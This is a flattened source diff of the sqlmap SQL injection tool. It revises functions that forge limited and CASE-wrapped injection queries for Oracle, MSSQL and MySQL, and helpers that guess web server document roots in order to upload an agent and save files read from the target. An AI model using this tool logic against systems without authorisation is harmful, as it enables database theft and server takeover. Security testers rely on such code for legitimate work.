if " FROM " not in inbandQuery:
|
if " FROM " not in inbandQuery:
|
||||||
inbandQuery += " FROM DUAL"
|
inbandQuery += " FROM DUAL"
|
||||||
|
|
||||||
if " ORDER BY " in inbandQuery:
|
if intoRegExp:
|
||||||
orderIndex = inbandQuery.index(" ORDER BY ")
|
inbandQuery += intoRegExp
|
||||||
inbandQuery = inbandQuery[:orderIndex]
|
|
||||||
|
|
||||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||||
|
|
||||||
return inbandQuery
|
return inbandQuery
|
||||||
|
|
||||||
|
def limitQuery(self, num, query, field=None):
|
||||||
def limitQuery(self, num, query, fieldsList=None):
|
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its limited query string.
|
Take in input a query string and return its limited query string.
|
||||||
|
|
||||||
@@ -433,8 +468,8 @@ class Agent:
|
|||||||
@param query: query to be processed
|
@param query: query to be processed
|
||||||
@type query: C{str}
|
@type query: C{str}
|
||||||
|
|
||||||
@param fieldsList: list of fields within the query
|
@param field: field within the query
|
||||||
@type fieldsList: C{list}
|
@type field: C{list}
|
||||||
|
|
||||||
@return: limited query string
|
@return: limited query string
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
@@ -451,22 +486,73 @@ class Agent:
|
|||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
elif kb.dbms == "Oracle":
|
elif kb.dbms == "Oracle":
|
||||||
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
||||||
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||||
|
|
||||||
|
if query.startswith("SELECT "):
|
||||||
|
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||||
|
else:
|
||||||
|
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
|
||||||
limitedQuery = limitedQuery % fromFrom
|
limitedQuery = limitedQuery % fromFrom
|
||||||
limitedQuery += "=%d" % (num + 1)
|
limitedQuery += "=%d" % (num + 1)
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
if re.search(" ORDER BY ", limitedQuery, re.I):
|
forgeNotIn = True
|
||||||
untilOrderChar = limitedQuery.index(" ORDER BY ")
|
|
||||||
limitedQuery = limitedQuery[:untilOrderChar]
|
|
||||||
|
|
||||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
if " ORDER BY " in limitedQuery:
|
||||||
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
|
||||||
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
|
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
||||||
|
|
||||||
|
for notDistinct in notDistincts:
|
||||||
|
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
|
||||||
|
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
||||||
|
|
||||||
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
||||||
|
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
|
||||||
|
|
||||||
|
if topNums:
|
||||||
|
topNums = topNums.groups()
|
||||||
|
quantityTopNums = topNums[0]
|
||||||
|
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
||||||
|
startTopNums = topNums[1]
|
||||||
|
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
||||||
|
forgeNotIn = False
|
||||||
|
else:
|
||||||
|
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||||
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||||
|
|
||||||
|
if forgeNotIn:
|
||||||
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||||
|
|
||||||
|
if " WHERE " in limitedQuery:
|
||||||
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||||
|
else:
|
||||||
|
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
||||||
|
|
||||||
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||||
|
limitedQuery += "%s %s)" % (field, fromFrom)
|
||||||
|
|
||||||
return limitedQuery
|
return limitedQuery
|
||||||
|
|
||||||
|
def forgeCaseStatement(self, expression):
|
||||||
|
"""
|
||||||
|
Take in input a query string and return its CASE statement query
|
||||||
|
string.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
||||||
|
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
|
||||||
|
|
||||||
|
@param expression: expression to be processed
|
||||||
|
@type num: C{str}
|
||||||
|
|
||||||
|
@return: processed expression
|
||||||
|
@rtype: C{str}
|
||||||
|
"""
|
||||||
|
|
||||||
|
return queries[kb.dbms].case % expression
|
||||||
|
|
||||||
# SQL agent
|
# SQL agent
|
||||||
agent = Agent()
|
agent = Agent()
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,24 +22,26 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
|
import socket
|
||||||
import string
|
import string
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import urlparse
|
import urlparse
|
||||||
|
import ntpath
|
||||||
|
import posixpath
|
||||||
from lib.core.convert import urldecode
|
from lib.contrib import magic
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import paths
|
||||||
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
from lib.core.data import paths
|
from lib.core.settings import IS_WIN
|
||||||
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
@@ -82,8 +84,7 @@ def paramToDict(place, parameters=None):
|
|||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
value = elem[1]
|
value = elem[1]
|
||||||
if value:
|
testableParameters[parameter] = value
|
||||||
testableParameters[parameter] = value
|
|
||||||
|
|
||||||
if conf.testParameter and not testableParameters:
|
if conf.testParameter and not testableParameters:
|
||||||
paramStr = ", ".join(test for test in conf.testParameter)
|
paramStr = ", ".join(test for test in conf.testParameter)
|
||||||
@@ -111,7 +112,6 @@ def paramToDict(place, parameters=None):
|
|||||||
|
|
||||||
return testableParameters
|
return testableParameters
|
||||||
|
|
||||||
|
|
||||||
def formatDBMSfp(versions=None):
|
def formatDBMSfp(versions=None):
|
||||||
"""
|
"""
|
||||||
This function format the back-end DBMS fingerprint value and return its
|
This function format the back-end DBMS fingerprint value and return its
|
||||||
@@ -135,11 +135,10 @@ def formatDBMSfp(versions=None):
|
|||||||
|
|
||||||
return kb.dbms
|
return kb.dbms
|
||||||
|
|
||||||
|
def formatFingerprintString(values, chain=" or "):
|
||||||
|
strJoin = "|".join([v for v in values])
|
||||||
|
|
||||||
def __formatFingerprintString(values, chain=" or "):
|
return strJoin.replace("|", chain)
|
||||||
string = "|".join([v for v in values])
|
|
||||||
return string.replace("|", chain)
|
|
||||||
|
|
||||||
|
|
||||||
def formatFingerprint(target, info):
|
def formatFingerprint(target, info):
|
||||||
"""
|
"""
|
||||||
@@ -174,26 +173,25 @@ def formatFingerprint(target, info):
|
|||||||
infoStr = ""
|
infoStr = ""
|
||||||
|
|
||||||
if info and "type" in info:
|
if info and "type" in info:
|
||||||
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
|
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
|
||||||
|
|
||||||
if "distrib" in info:
|
if "distrib" in info:
|
||||||
infoStr += " %s" % __formatFingerprintString(info["distrib"])
|
infoStr += " %s" % formatFingerprintString(info["distrib"])
|
||||||
|
|
||||||
if "release" in info:
|
if "release" in info:
|
||||||
infoStr += " %s" % __formatFingerprintString(info["release"])
|
infoStr += " %s" % formatFingerprintString(info["release"])
|
||||||
|
|
||||||
if "sp" in info:
|
if "sp" in info:
|
||||||
infoStr += " %s" % __formatFingerprintString(info["sp"])
|
infoStr += " %s" % formatFingerprintString(info["sp"])
|
||||||
|
|
||||||
if "codename" in info:
|
if "codename" in info:
|
||||||
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
|
infoStr += " (%s)" % formatFingerprintString(info["codename"])
|
||||||
|
|
||||||
if "technology" in info:
|
if "technology" in info:
|
||||||
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
|
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
|
||||||
|
|
||||||
return infoStr
|
return infoStr
|
||||||
|
|
||||||
|
|
||||||
def getHtmlErrorFp():
|
def getHtmlErrorFp():
|
||||||
"""
|
"""
|
||||||
This function parses the knowledge base htmlFp list and return its
|
This function parses the knowledge base htmlFp list and return its
|
||||||
@@ -217,107 +215,134 @@ def getHtmlErrorFp():
|
|||||||
|
|
||||||
return htmlParsed
|
return htmlParsed
|
||||||
|
|
||||||
|
|
||||||
def getDocRoot():
|
def getDocRoot():
|
||||||
"""
|
|
||||||
This method returns the web application document root based on the
|
|
||||||
detected absolute files paths in the knowledge base.
|
|
||||||
"""
|
|
||||||
|
|
||||||
docRoot = None
|
docRoot = None
|
||||||
|
pagePath = directoryPath(conf.path)
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
||||||
|
else:
|
||||||
|
defaultDocRoot = "/var/www/"
|
||||||
|
|
||||||
if kb.absFilePaths:
|
if kb.absFilePaths:
|
||||||
logMsg = "retrieved the possible injectable "
|
for absFilePath in kb.absFilePaths:
|
||||||
logMsg += "file absolute system paths: "
|
absFilePath = normalizePath(absFilePath)
|
||||||
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
absFilePathWin = None
|
||||||
logger.info(logMsg)
|
|
||||||
else:
|
|
||||||
warnMsg = "unable to retrieve the injectable file "
|
|
||||||
warnMsg += "absolute system path"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
for absFilePath in kb.absFilePaths:
|
if re.match("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
|
||||||
if conf.path in absFilePath:
|
absFilePathWin = absFilePath
|
||||||
index = absFilePath.index(conf.path)
|
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||||
docRoot = absFilePath[:index]
|
|
||||||
break
|
if pagePath in absFilePath:
|
||||||
|
index = absFilePath.index(pagePath)
|
||||||
|
docRoot = absFilePath[:index]
|
||||||
|
|
||||||
|
if absFilePathWin:
|
||||||
|
docRoot = "C:/%s" % docRoot.replace("\\", "/")
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
if docRoot:
|
if docRoot:
|
||||||
logMsg = "retrieved the remote web server "
|
infoMsg = "retrieved the web server document root: '%s'" % docRoot
|
||||||
logMsg += "document root: '%s'" % docRoot
|
logger.info(infoMsg)
|
||||||
logger.info(logMsg)
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve the remote web server "
|
warnMsg = "unable to retrieve the web server document root"
|
||||||
warnMsg += "document root"
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
message = "please provide the web server document root "
|
||||||
|
message += "[%s]: " % defaultDocRoot
|
||||||
|
inputDocRoot = readInput(message, default=defaultDocRoot)
|
||||||
|
|
||||||
|
if inputDocRoot:
|
||||||
|
docRoot = inputDocRoot
|
||||||
|
else:
|
||||||
|
docRoot = defaultDocRoot
|
||||||
|
|
||||||
return docRoot
|
return docRoot
|
||||||
|
|
||||||
|
def getDirs():
|
||||||
def getDirectories():
|
|
||||||
"""
|
|
||||||
This method calls a function that returns the web application document
|
|
||||||
root and injectable file absolute system path.
|
|
||||||
|
|
||||||
@return: a set of paths (document root and absolute system path).
|
|
||||||
@rtype: C{set}
|
|
||||||
@todo: replace this function with a site crawling functionality.
|
|
||||||
"""
|
|
||||||
|
|
||||||
directories = set()
|
directories = set()
|
||||||
|
|
||||||
kb.docRoot = getDocRoot()
|
if kb.os == "Windows":
|
||||||
|
defaultDir = "C:/Inetpub/wwwroot/test/"
|
||||||
|
else:
|
||||||
|
defaultDir = "/var/www/test/"
|
||||||
|
|
||||||
if kb.docRoot:
|
if kb.absFilePaths:
|
||||||
directories.add(kb.docRoot)
|
infoMsg = "retrieved web server full paths: "
|
||||||
|
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
pagePath = re.search("^/(.*)/", conf.path)
|
for absFilePath in kb.absFilePaths:
|
||||||
|
if absFilePath:
|
||||||
|
directories.add(os.path.dirname(absFilePath))
|
||||||
|
else:
|
||||||
|
warnMsg = "unable to retrieve any web server path"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if kb.docRoot and pagePath:
|
message = "please provide any additional web server full path to try "
|
||||||
pagePath = pagePath.groups()[0]
|
message += "to upload the agent [%s]: " % defaultDir
|
||||||
|
inputDirs = readInput(message, default=defaultDir)
|
||||||
|
|
||||||
directories.add("%s/%s" % (kb.docRoot, pagePath))
|
if inputDirs:
|
||||||
|
inputDirs = inputDirs.replace(", ", ",")
|
||||||
|
inputDirs = inputDirs.split(",")
|
||||||
|
|
||||||
|
for inputDir in inputDirs:
|
||||||
|
if inputDir:
|
||||||
|
directories.add(inputDir)
|
||||||
|
else:
|
||||||
|
directories.add(defaultDir)
|
||||||
|
|
||||||
return directories
|
return directories
|
||||||
|
|
||||||
|
|
||||||
def filePathToString(filePath):
|
def filePathToString(filePath):
|
||||||
string = filePath.replace("/", "_").replace("\\", "_")
|
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
||||||
string = string.replace(" ", "_").replace(":", "_")
|
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
||||||
|
|
||||||
return string
|
|
||||||
|
|
||||||
|
return strRepl
|
||||||
|
|
||||||
def dataToStdout(data):
|
def dataToStdout(data):
|
||||||
sys.stdout.write(data)
|
sys.stdout.write(data)
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
def dataToSessionFile(data):
|
def dataToSessionFile(data):
|
||||||
if not conf.sessionFile:
|
if not conf.sessionFile:
|
||||||
return
|
return
|
||||||
|
|
||||||
conf.sessionFP.write(data)
|
conf.sessionFP.write(data)
|
||||||
conf.sessionFP.flush()
|
conf.sessionFP.flush()
|
||||||
|
|
||||||
|
|
||||||
def dataToDumpFile(dumpFile, data):
|
def dataToDumpFile(dumpFile, data):
|
||||||
dumpFile.write(data)
|
dumpFile.write(data)
|
||||||
dumpFile.flush()
|
dumpFile.flush()
|
||||||
|
|
||||||
|
def dataToOutFile(data):
|
||||||
|
if not data:
|
||||||
|
return "No data retrieved"
|
||||||
|
|
||||||
|
rFile = filePathToString(conf.rFile)
|
||||||
|
rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile)
|
||||||
|
rFileFP = open(rFilePath, "wb")
|
||||||
|
|
||||||
def strToHex(string):
|
rFileFP.write(data)
|
||||||
|
rFileFP.flush()
|
||||||
|
rFileFP.close()
|
||||||
|
|
||||||
|
return rFilePath
|
||||||
|
|
||||||
|
def strToHex(inpStr):
|
||||||
"""
|
"""
|
||||||
@param string: string to be converted into its hexadecimal value.
|
@param inpStr: inpStr to be converted into its hexadecimal value.
|
||||||
@type string: C{str}
|
@type inpStr: C{str}
|
||||||
|
|
||||||
@return: the hexadecimal converted string.
|
@return: the hexadecimal converted inpStr.
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
hexStr = ""
|
hexStr = ""
|
||||||
|
|
||||||
for character in string:
|
for character in inpStr:
|
||||||
if character == "\n":
|
if character == "\n":
|
||||||
character = " "
|
character = " "
|
||||||
|
|
||||||
@@ -328,8 +353,7 @@ def strToHex(string):
|
|||||||
hexStr += hexChar
|
hexStr += hexChar
|
||||||
|
|
||||||
return hexStr
|
return hexStr
|
||||||
|
|
||||||
|
|
||||||
def fileToStr(fileName):
|
def fileToStr(fileName):
|
||||||
"""
|
"""
|
||||||
@param fileName: file path to read the content and return as a no
|
@param fileName: file path to read the content and return as a no
|
||||||
@@ -343,13 +367,7 @@ def fileToStr(fileName):
|
|||||||
filePointer = open(fileName, "r")
|
filePointer = open(fileName, "r")
|
||||||
fileText = filePointer.read()
|
fileText = filePointer.read()
|
||||||
|
|
||||||
fileText = fileText.replace(" ", "")
|
return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
|
||||||
fileText = fileText.replace("\t", "")
|
|
||||||
fileText = fileText.replace("\r", "")
|
|
||||||
fileText = fileText.replace("\n", " ")
|
|
||||||
|
|
||||||
return fileText
|
|
||||||
|
|
||||||
|
|
||||||
def fileToHex(fileName):
|
def fileToHex(fileName):
|
||||||
"""
|
"""
|
||||||
@@ -366,7 +384,6 @@ def fileToHex(fileName):
|
|||||||
|
|
||||||
return hexFile
|
return hexFile
|
||||||
|
|
||||||
|
|
||||||
def readInput(message, default=None):
|
def readInput(message, default=None):
|
||||||
"""
|
"""
|
||||||
@param message: message to display on terminal.
|
@param message: message to display on terminal.
|
||||||
@@ -376,6 +393,9 @@ def readInput(message, default=None):
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if "\n" in message:
|
||||||
|
message += "\n> "
|
||||||
|
|
||||||
if conf.batch and default:
|
if conf.batch and default:
|
||||||
infoMsg = "%s%s" % (message, str(default))
|
infoMsg = "%s%s" % (message, str(default))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -385,11 +405,13 @@ def readInput(message, default=None):
|
|||||||
|
|
||||||
data = default
|
data = default
|
||||||
else:
|
else:
|
||||||
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
|
data = raw_input(message)
|
||||||
|
|
||||||
|
if not data:
|
||||||
|
data = default
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
def randomRange(start=0, stop=1000):
|
def randomRange(start=0, stop=1000):
|
||||||
"""
|
"""
|
||||||
@param start: starting number.
|
@param start: starting number.
|
||||||
@@ -404,7 +426,6 @@ def randomRange(start=0, stop=1000):
|
|||||||
|
|
||||||
return int(random.randint(start, stop))
|
return int(random.randint(start, stop))
|
||||||
|
|
||||||
|
|
||||||
def randomInt(length=4):
|
def randomInt(length=4):
|
||||||
"""
|
"""
|
||||||
@param length: length of the random string.
|
@param length: length of the random string.
|
||||||
@@ -416,8 +437,7 @@ def randomInt(length=4):
|
|||||||
|
|
||||||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||||
|
|
||||||
|
def randomStr(length=5, lowercase=False):
|
||||||
def randomStr(length=5):
|
|
||||||
"""
|
"""
|
||||||
@param length: length of the random string.
|
@param length: length of the random string.
|
||||||
@type length: C{int}
|
@type length: C{int}
|
||||||
@@ -426,25 +446,28 @@ def randomStr(length=5):
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
if lowercase:
|
||||||
|
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
|
||||||
|
else:
|
||||||
|
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||||
|
|
||||||
|
return rndStr
|
||||||
def sanitizeStr(string):
|
|
||||||
|
def sanitizeStr(inpStr):
|
||||||
"""
|
"""
|
||||||
@param string: string to sanitize: cast to str datatype and replace
|
@param inpStr: inpStr to sanitize: cast to str datatype and replace
|
||||||
newlines with one space and strip carriage returns.
|
newlines with one space and strip carriage returns.
|
||||||
@type string: C{str}
|
@type inpStr: C{str}
|
||||||
|
|
||||||
@return: sanitized string
|
@return: sanitized inpStr
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
cleanString = str(string)
|
cleanString = str(inpStr)
|
||||||
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
||||||
|
|
||||||
return cleanString
|
return cleanString
|
||||||
|
|
||||||
|
|
||||||
def checkFile(filename):
|
def checkFile(filename):
|
||||||
"""
|
"""
|
||||||
@param filename: filename to check if it exists.
|
@param filename: filename to check if it exists.
|
||||||
@@ -453,26 +476,23 @@ def checkFile(filename):
|
|||||||
|
|
||||||
if not os.path.exists(filename):
|
if not os.path.exists(filename):
|
||||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||||
|
|
||||||
|
def replaceNewlineTabs(inpStr):
|
||||||
def replaceNewlineTabs(string):
|
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||||
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
|
||||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||||
|
|
||||||
return replacedString
|
return replacedString
|
||||||
|
|
||||||
|
|
||||||
def banner():
|
def banner():
|
||||||
"""
|
"""
|
||||||
This function prints sqlmap banner with its version
|
This function prints sqlmap banner with its version
|
||||||
"""
|
"""
|
||||||
|
|
||||||
print """
|
print """
|
||||||
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
%s
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
""" % VERSION_STRING
|
""" % VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
def parsePasswordHash(password):
|
def parsePasswordHash(password):
|
||||||
blank = " " * 8
|
blank = " " * 8
|
||||||
|
|
||||||
@@ -491,68 +511,43 @@ def parsePasswordHash(password):
|
|||||||
|
|
||||||
return password
|
return password
|
||||||
|
|
||||||
|
|
||||||
def cleanQuery(query):
|
def cleanQuery(query):
|
||||||
# SQL SELECT statement
|
upperQuery = query
|
||||||
upperQuery = query.replace("select ", "SELECT ")
|
|
||||||
upperQuery = upperQuery.replace(" from ", " FROM ")
|
|
||||||
upperQuery = upperQuery.replace(" where ", " WHERE ")
|
|
||||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
|
||||||
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
|
||||||
upperQuery = upperQuery.replace(" having ", " HAVING ")
|
|
||||||
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
|
||||||
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
|
||||||
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
|
||||||
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
|
|
||||||
|
|
||||||
# SQL data definition
|
for sqlStatements in SQL_STATEMENTS.values():
|
||||||
upperQuery = upperQuery.replace(" create ", " CREATE ")
|
for sqlStatement in sqlStatements:
|
||||||
upperQuery = upperQuery.replace(" drop ", " DROP ")
|
sqlStatementEsc = sqlStatement.replace("(", "\\(")
|
||||||
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
|
queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
|
||||||
upperQuery = upperQuery.replace(" alter ", " ALTER ")
|
|
||||||
|
|
||||||
# SQL data manipulation
|
if queryMatch:
|
||||||
upperQuery = upperQuery.replace(" insert ", " INSERT ")
|
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
|
||||||
upperQuery = upperQuery.replace(" update ", " UPDATE ")
|
|
||||||
upperQuery = upperQuery.replace(" delete ", " DELETE ")
|
|
||||||
upperQuery = upperQuery.replace(" merge ", " MERGE ")
|
|
||||||
|
|
||||||
# SQL data control
|
|
||||||
upperQuery = upperQuery.replace(" grant ", " GRANT ")
|
|
||||||
|
|
||||||
# SQL transaction control
|
|
||||||
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
|
|
||||||
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
|
|
||||||
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
|
|
||||||
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
|
|
||||||
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
|
|
||||||
|
|
||||||
return upperQuery
|
return upperQuery
|
||||||
|
|
||||||
|
|
||||||
def setPaths():
|
def setPaths():
|
||||||
# sqlmap paths
|
# sqlmap paths
|
||||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
|
||||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
|
||||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
|
||||||
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
|
||||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
|
||||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
||||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
|
||||||
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
|
|
||||||
# sqlmap files
|
# sqlmap files
|
||||||
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
|
||||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
|
||||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
|
||||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||||
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||||
